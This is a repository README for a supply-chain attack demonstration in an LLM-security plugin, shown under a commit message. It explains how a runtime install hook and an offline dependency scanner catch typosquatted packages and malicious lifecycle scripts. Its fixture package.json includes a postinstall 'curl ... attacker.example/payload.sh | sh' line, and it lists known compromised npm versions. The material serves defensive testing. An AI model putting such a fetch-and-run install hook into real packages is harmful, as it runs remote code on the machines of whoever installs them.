llm-security/examples/supply-chain-attack/README.md
Kjell Tore Guttormsen fdec4b36ad feat(llm-security)!: v8 Phase 3 complete - riskScoreV1, posture heuristic, docs
Closes Phase 3 (B11) of the v8.0.0 plan. Three parts, all with the failing
test written first.

riskScoreV1 removed. scanners/lib/severity.mjs drops riskScoreV1() and its
SEVERITY_WEIGHTS_V1 table - @deprecated since v7.0.0, kept for diff/comparison,
zero callers in code or tests (re-verified, not taken from the plan). The v1
weights are recorded in CHANGELOG so an old score stays re-derivable. riskScore
(v2) is untouched; a test pins that one critical still lands in the 70-95 tier
and that 50 lows score below it, which is exactly the case v1 collapsed to 100.

Posture category 12 no longer keys off an identifier name. The check was
/TRIFECTA_MODE/i over the session-guard source, which measured what a constant
was CALLED rather than whether enforcement was configurable. With the env-var
gone, that regex would have dropped every correctly-migrated project from PASS
to PARTIAL - the gate punishing the migration it exists to encourage. It now
matches getPolicyValue('trifecta', 'mode', ...) and still accepts a pre-v8
vendored guard reading the old env-var, because a third-party project carries
its own hook copy and is equally configurable either way; the evidence line
says which of the two was found. The PARTIAL finding recommended setting an
env-var that v8 ignores; it now names the policy key. The grade-a fixture hook
moves to the policy-era form.

Two never-implemented env-vars deleted from the docs. LLM_SECURITY_SCR_OFFLINE
(ci-cd-guide) and LLM_SECURITY_OFFLINE (supply-chain-attack example) were
documented as OSV.dev / npm-audit kill-switches. No code has ever read either -
verified by grep across scanners, hooks and scripts, which finds them only in
markdown. A promised kill-switch that does nothing is worse than a documented
absence: it is trusted precisely when the run is meant to be air-gapped. The
docs now say there is none and that egress must be blocked at the network
layer. The LLM_SECURITY_AUDIT_* wildcard is narrowed to the one real key.

Docs. Migration section in README + CHANGELOG with the env-var -> policy-key
table, the detection commands (env + shell rc + .envrc + workflows), and the
explicit warning that a removed variable is now INERT rather than an error -
which is the failure mode that loses a project its configuration silently. The
hardening-guide env table splits into surviving vars and a removed-vars
migration table; its "promote to block" runbook named two variables that no
longer exist. Also swept: CLAUDE.md hook table, scanner-reference, ci-cd-guide,
both lethal-trifecta example docs, mitigation-matrix, injection-research.

Test counts in README/CLAUDE.md synced 2034 -> 2045.

Suite 2045 tests, 0 fail (2039 + 4 posture-trifecta + 2 riskScoreV1). The two
known parallel-load flakes did not recur this run.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01BB4vXvwvtW4dxbPRd6vsez
2026-08-09 10:25:03 +02:00

5.8 KiB

Supply Chain Attack Walkthrough

WARNING: This is a demonstration fixture, NOT a real attack. The fixture package.json is never installed and the postinstall URL points to an example domain. The walkthrough only feeds JSON payloads to one PreToolUse hook and parses the static fixture with the offline dep-auditor scanner.

What this demonstrates

Two layers of supply-chain defense, both catching the same attack shape from different angles:

Layer When Mechanism
pre-install-supply-chain runtime, PreToolUse on Bash Intercepts npm install <name> and blocks compromised versions; advises on scope-hopping
dep-auditor (DEP scanner) scan time, offline Parses package.json for typosquats vs top-100 npm + suspicious lifecycle scripts

A real attacker has to bypass both — the runtime gate when the operator runs npm install, and the offline scanner when CI / a manual /security scan reads the lockfile or manifest.

Stage A — runtime hook

Command Expected Detection
npm install event-stream@3.3.6 exit 2 (BLOCK) event-stream@3.3.6 is on the NPM_COMPROMISED list (real 2018 incident)
npm install @evilcorp/lodash exit 0 + advisory scope-hop: unscoped lodash is top-100; @evilcorp not on the official-scopes allowlist
npm install lodash exit 0 (clean) top-100 official package, no advisory

Stage B — dep-auditor on fixture/package.json

The fixture declares 5 typosquatted dependencies and a postinstall script that pipes a remote shell script (curl ... | sh):

"dependencies": {
  "expresss": "^4.18.0",   // typo of "express"   — Levenshtein 1
  "loadsh":   "^4.17.21",  // typo of "lodash"    — Levenshtein 2
  "axois":    "^1.6.0",    // typo of "axios"     — Levenshtein 2
  "reaact":   "^18.2.0"    // typo of "react"     — Levenshtein 1
},
"devDependencies": {
  "chalkk":   "^5.3.0"     // typo of "chalk"     — Levenshtein 1
},
"scripts": {
  "postinstall": "curl -sSL https://attacker.example/payload.sh | sh"
}

Expected dep-auditor findings:

  • 5 typosquat findings (expresss, loadsh, axois, reaact, chalkk), with severity ≥ MEDIUM
  • 1 install-script finding (HIGH — postinstall contains curl ... | sh)
  • Total ≥ 6 findings, all DEP-prefixed

How to run

cd plugins/llm-security
node examples/supply-chain-attack/run-supply-chain.mjs

# Detailed: show stderr + full finding list
node examples/supply-chain-attack/run-supply-chain.mjs --verbose

Expected: 5 pass, 0 fail.

Hooks / scanners involved

  • hooks/scripts/pre-install-supply-chain.mjs — PreToolUse on Bash. Reads tool_input.command, normalizes bash evasion, gates on install patterns across 7 ecosystems. For npm: checks NPM_COMPROMISED, scope-hopping (NPM_OFFICIAL_SCOPES), OSV.dev advisories, provenance heuristic, install-script age gate.
  • scanners/dep-auditor.mjs — DEP scanner. Reads package.json, requirements.txt, setup.py, pyproject.toml, Pipfile.lock. For npm: typosquat (Levenshtein ≤2 vs top-100), unpinned versions, install-script heuristics, npm-audit CVE.
  • scanners/lib/supply-chain-data.mjs — shared blocklists (NPM_COMPROMISED, PIP_COMPROMISED, CARGO_COMPROMISED, etc.) and NPM_OFFICIAL_SCOPES allowlist.

Network behavior

  • Hook stage A: the hook normally calls npm view and OSV.dev to enrich findings. For the compromised case it stops at the NPM_COMPROMISED blocklist (no network needed). For the scope-hopping case the advisory is emitted before any network call. For the clean case it may attempt npm view — that runs against the public registry but is non-fatal if offline.
  • Stage B (dep-auditor): runs offline by default. It may shell out to npm audit --json --offline=false for CVE enrichment, but the fixture has no real npm install, so audit returns nothing.

There is no environment kill-switch for these calls. If you need a fully air-gapped run, block network egress for the process.

OWASP / framework mapping

Code Framework Why
LLM03 OWASP LLM Top 10 (2025) Supply chain compromise — typosquats + malicious install scripts
LLM05 OWASP LLM Top 10 (2025) Improper output / supply-chain-affected dependency surface
ASI04 OWASP Agentic Top 10 Untrusted dependency influence on agent behavior
  • event-stream@3.3.6 (2018) — backdoor injecting bitcoin-stealing code
  • colors@1.4.1 / faker@6.6.6 (2022) — author-protest sabotage
  • ua-parser-js@0.7.29 / coa@2.0.3 / rc@1.2.9 (2021) — credential stealers via hijacked maintainer accounts
  • node-ipc@10.1.1 (2022) — geographically-targeted file-wiping ("peacenotwar")
  • axios@1.14.1 (2025) — npm-direct publish bypassing CI

All of these are on the NPM_COMPROMISED list and would be blocked by stage A.

Limitations

  • The walkthrough focuses on npm. Other ecosystems (pip, cargo, gem, brew, go, docker) follow the same hook pattern but are not exercised here. See tests/lib/pre-install-supply-chain.test.mjs for per-ecosystem coverage.
  • The OSV.dev advisory check (real CVE lookup) is a network feature and is not exercised in the deterministic test cases.
  • This example does not exercise pre-install-supply-chain's bash evasion normalization (T1-T6). For that, see examples/bash-evasion-gallery/.

See also

  • knowledge/top-packages.json — typosquat seed list (top-100 npm)
  • scanners/lib/supply-chain-data.mjsNPM_COMPROMISED blocklist
  • tests/lib/dep-auditor.test.mjs — unit-test contract
  • examples/bash-evasion-gallery/ — bash-normalization layer (T1-T6)
  • expected-findings.md (in this folder) — the testable contract